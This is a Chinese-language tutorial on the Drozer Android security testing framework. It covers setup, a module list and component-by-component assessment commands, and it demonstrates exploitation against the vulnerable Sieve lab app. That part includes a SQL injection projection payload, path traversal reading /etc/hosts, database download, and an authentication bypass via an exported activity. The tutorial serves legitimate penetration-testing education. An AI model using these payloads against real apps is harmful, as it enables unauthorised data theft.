文章前言
在近期做移动安全测试评估的时候发现对之前对移动安全测试框架Drozer的认知过于浅显,部分只是做了检测并没有做利用实践,同时命令也是在执行的时候不断地去查找,缺乏一个系统性的整理,而网上的文章也是零零碎碎没有一个较为系统的介绍和评估方法,遂即有了这篇文章
基本介绍
Drozer是一款针对Android系统的安全测试框架,它由console和server两部分组成,其中console运行在本地计算机上,Server安装在目标Android设备上来充当一个Server,当使用console与Android设备交互时其实就是把Java代码输入到运行在实际设备上的drozer代理(agent)中
框架架构
Drozer的框架架构主要分为以下几个部分:
- Agent: Drozer Agent是一个运行在Android设备上的应用程序,用于与Drozer服务器进行通信。它负责管理设备上的权限和数据访问,并向Drozer服务器提供所需的信息
- Server: Drozer Server是一个运行在安全评估者的计算机上的应用程序,它充当了与Drozer Agent通信的中介。服务器负责处理从Agent发送的请求,并将结果返回给Agent
- Console: Drozer Console是安全评估者与Drozer框架交互的主要界面。通过Drozer Console,用户可以执行各种命令来检测Android应用程序中的安全漏洞
- Modules: Drozer框架包含了一系列模块,每个模块用于执行特定的任务,例如发现应用程序中的漏洞、分析应用程序的权限等,这些模块可以通过Drozer Console进行调用和使用
- Exploits: Drozer框架还提供了一些用于利用已发现漏洞的exploit模块。这些exploit模块可以帮助评估者验证漏洞的危害性,并测试应用程序的安全性
环境搭建
Step 1:下载Drozer,之后点击setup.exe傻瓜式安装即可
链接:https://pan.baidu.com/s/1NYBACOG7AUGdI42UJFaniw
提取码:hynw
Step 2:将下载的agent.apk拖拽到模拟器当中进行安装
之后启动Drozer-agent
Step 4:之后在DOS命令行中进行连接测试(这里要在Drozer目录下面进行连接),在这里我们首先测试adb是否可以使用
adb connect 127.0.0.1:62001
PS:不同的模拟器adb链接端口也不一致,下面是常见的模拟器以及其对应的adb链接端口
这里drozer Server默然监听的为31415端口,所以需要在主机上同样与31415端口进行通信 本地电脑上调用adb执行以下命令进行端口转发:
adb forward tcp:31415 tcp:31415
之后使用Drozer连接
drozer console connect
使用方式
基础使用
帮助信息
在客户端命令行中执行help命令即可查阅Drozer的可用命令信息:
help
命令详情
在客户端的命令行中输入help+命令的方式可以查看具体命令的使用方法,包括参数信息
#格式说明
help 命令
#简易实例
help cd
模块列表
在客户端的命令行中输入"list"可以纤细的列出目前可用的模块,当然也可以使用ls
list
dz> list
app.activity.forintent Find activities that can handle the given intent
app.activity.info Gets information about exported activities.
app.activity.start Start an Activity
app.broadcast.info Get information about broadcast receivers
app.broadcast.send Send broadcast using an intent
app.broadcast.sniff Register a broadcast receiver that can sniff particular intents
app.package.attacksurface Get attack surface of package
app.package.backup Lists packages that use the backup API (returns true on FLAG_ALLOW_BACKUP)
app.package.debuggable Find debuggable packages
app.package.info Get information about installed packages
app.package.launchintent Get launch intent of package
app.package.list List Packages
app.package.manifest Get AndroidManifest.xml of package
app.package.native Find Native libraries embedded in the application.
app.package.shareduid Look for packages with shared UIDs
app.provider.columns List columns in content provider
app.provider.delete Delete from a content provider
app.provider.download Download a file from a content provider that supports files
app.provider.finduri Find referenced content URIs in a package
app.provider.info Get information about exported content providers
app.provider.insert Insert into a Content Provider
app.provider.query Query a content provider
app.provider.read Read from a content provider that supports files
app.provider.update Update a record in a content provider
app.service.info Get information about exported services
app.service.send Send a Message to a service, and display the reply
app.service.start Start Service
app.service.stop Stop Service
auxiliary.webcontentresolver Start a web service interface to content providers.
exploit.jdwp.check Open @jdwp-control and see which apps connect
exploit.pilfer.general.apnprovider Reads APN content provider
exploit.pilfer.general.settingsprovider Reads Settings content provider
information.datetime Print Date/Time
information.deviceinfo Get verbose device information
information.permissions Get a list of all permissions used by packages on the device
scanner.activity.browsable Get all BROWSABLE activities that can be invoked from the web browser
scanner.misc.native Find native components included in packages
scanner.misc.readablefiles Find world-readable files in the given folder
scanner.misc.secretcodes Search for secret codes that can be used from the dialer
scanner.misc.sflagbinaries Find suid/sgid binaries in the given folder (default is /system).
scanner.misc.writablefiles Find world-writable files in the given folder
scanner.provider.finduris Search for content providers that can be queried from our context.
scanner.provider.injection Test content providers for SQL injection vulnerabilities.
scanner.provider.sqltables Find tables accessible through SQL injection vulnerabilities.
scanner.provider.traversal Test content providers for basic directory traversal vulnerabilities.
shell.exec Execute a single Linux command.
shell.send Send an ASH shell to a remote listener.
shell.start Enter into an interactive Linux shell.
tools.file.download Download a File
tools.file.md5sum Get md5 Checksum of file
tools.file.size Get size of file
tools.file.upload Upload a File
tools.setup.busybox Install Busybox.
tools.setup.minimalsu Prepare 'minimal-su' binary installation on the device.
模块详情
在Drozer客户端命令行中输入"help 模块名称"后即可查看模块的使用方法
#命令格式
help 要查看的模块名称
#简易实例
help app.activity.forintent
应用评估
在Drozer客户端命令行中输入"run 程序包名称"后即可查看程序包对应的应用详情信息:
#列出程序包
run app.package.list
#获取已安装软件包的信息
run app.package.info
#查找可调试包
run app.package.debuggable
#查找具有共享uid的包
run app.package.shareduid
#列出使用备份API的包(在标记"允许备份"时返回true)
run app.package.backup
#获取包的启动意图
run app.package.launchintent com.android.browser
#获取包的AndroidManifest.xml
run app.package.manifest
#获取应用包的攻击面
run app.package.attacksurface package
#查找嵌入在应用程序中的本地库
run app.package.native package
组件评估
Activity
#获取activity组件信息
run app.activity.info --package com.android.browser
#找到可以处理已指定的包
app.activity.forintent
# 获取可从web浏览器调用的所有可浏览的activity组件
run scanner.activity.browsable
#开启activity组件
app.activity.start
Service
#获取service组件信息
app.service.info
#向服务组件发送消息并显示应答
run app.service.send
#开启service组件
app.service.start
#停止service组件
app.service.stop
Content Provider
#获取Content Provider组件信息
app.provider.info
#查询Content Provider组件
app.provider.query
#在内容提供程序中列出列
app.provider.columns
#在内容提供程序中删除
app.provider.delete
#在内容提供程序中下载支持文件
app.provider.download
#在包中查找引用的内容URIS
app.provider.finduri
#插入到Content Provider组件中
app.provider.insert
#从支持文件的Content Provider读取
app.provider.read
#更新Content Provider的记录
app.provider.update
#搜索可从上下文中查询的Content Provider
scanner.provider.finduris
#测试Content Provider的注入漏洞
scanner.provider.injection
#测试Content Provider的注入漏洞
scanner.provider.injection
#查找可通过SQL注入漏洞访问的表
scanner.provider.sqltables
#测试Content Provider的基本目录遍历漏洞
scanner.provider.traversal
Broadcast Receivers
#获取有关广播接收器的信息
app.broadcast.info
#带目的发送广播
app.broadcast.send
#注册一个能嗅出特定意图的广播接收器
app.broadcast.sniff
安全示例
1、查找对应的包名(/data/data目录)
2、列出详细APP信息
#命令格式
run app.package.info -a com.xxx.xxxx
#简易实例
run app.package.info -a com.mwr.example.sieve
3、查看APP的配置信息
#命令格式
run app.package.manifest com.xxx.xxxx
#简易实例
run app.package.manifest com.mwr.example.sieve
4、应用攻击面查看
#命令格式
run app.package.attacksurface com.xxx.xxxx
#简易实例
run app.package.attacksurface com.mwr.example.sieve
5、Activity组件测试
a、获取可导出的Activity组件列表
#命令格式
run app.activity.info -a com.xxx.xxxx
#简易示例
run app.activity.info -a com.mwr.example.sieve
b、通过调用Activity可导出的组件查看是否可以绕过部分权限校验
#命令格式:
run app.activity.start --component 软件包名 软件包名.对应exported的activtiy
#简易示例:
run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList
跳转实例:
6、Service组件测试
a、获取可以导出的Service组件信息
#命令格式
run app.service.info -a com.xxx.xxxx
#简易示例
run app.service.info -a com.mwr.example.sieve
b、发送service服务
#命令格式:
run app.service.start --component 软件包名 软件包名.对应exported的activtiy --extra 数据
#简易示例:
run app.service.start --component com.mwr.example.sieve com.mwr.example.sieve.AuthService --extra string phone 12345678901 --extra string content Hello
7、Broadcast Receivers测试
a、获取可以导出的Broadcast信息
#命令格式
run app.broadcast.info -a com.xxx.xxxx
#简易示例
run app.broadcast.info -a com.mwr.example.sieve
b、注册一个能嗅出特定意图的广播接收器
#命令格式:
run app.broadcast.sniff --action "活动"
#简易示例:
run app.broadcast.sniff --action "ddns.actiton.Token"
c、发送广播
#命令格式:
run app.broadcast.send --action 广播名 --extra string name lisi
#简易示例:
run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS --extra string phoneNumber 1234 --extra string message dog
8、获取contentProvider信息
#命令格式:
run app.provider.info -a com.xxx.xxxx
#简易示例:
run app.provider.info -a com.mwr.example.sieve
9、获取所有可访问的Uri
#命令格式
run scanner.provider.finduris -a
#简易示例
run scanner.provider.finduris -a com.mwr.example.sieve
10、检测SQL注入
#命令格式
run scanner.provider.injection -a com.xxx.xxxx
#简易示例
run scanner.provider.injection -a com.mwr.example.sieve
11、进行SQL注入
#命令格式
run app.provider.query [--projection] [--selection]
#简易示例
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/
#列出所有表
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type='table';--"
12、检测目录遍历
#命令格式
run scanner.provider.traversal -a com.xxx.xxxx
#简易示例
run scanner.provider.traversal -a com.mwr.example.sieve
13、读取文件系统下的文件
#命令格式
run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
#简易实例
run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
14、下载数据库文件到本地
#简易示例
run app.provider.download content://com.mwr.example.sieve.FileBackupProvider/data/data/com.mwr.example.sieve/databases/database.db d:/database.db
文末小结
Drozer作为一款专注于Android应用安全评估的工具,其架构包括Agent、Server、Console、Modules和Exploits几个关键组件。Agent在Android设备上运行,负责与Drozer Server通信并管理权限和数据访问;Server则在评估者的计算机上运行,处理Agent发送的请求并返回结果;Console为用户提供与Drozer框架交互的主要界面;Modules则是执行各种安全评估任务的模块集合;而Exploits则提供了用于验证漏洞危害性的工具。通过这些组件的协作Drozer为安全评估者提供了强大的能力,帮助其发现和验证Android应用程序中的安全漏洞,本篇文章主要对Drozer的框架、基础命令
、应用评估、组件评估、安全评估进行了全方位的介绍,算是移动安全评估中Drozer极为详细的总结性文章了,希望对各位读者有帮助~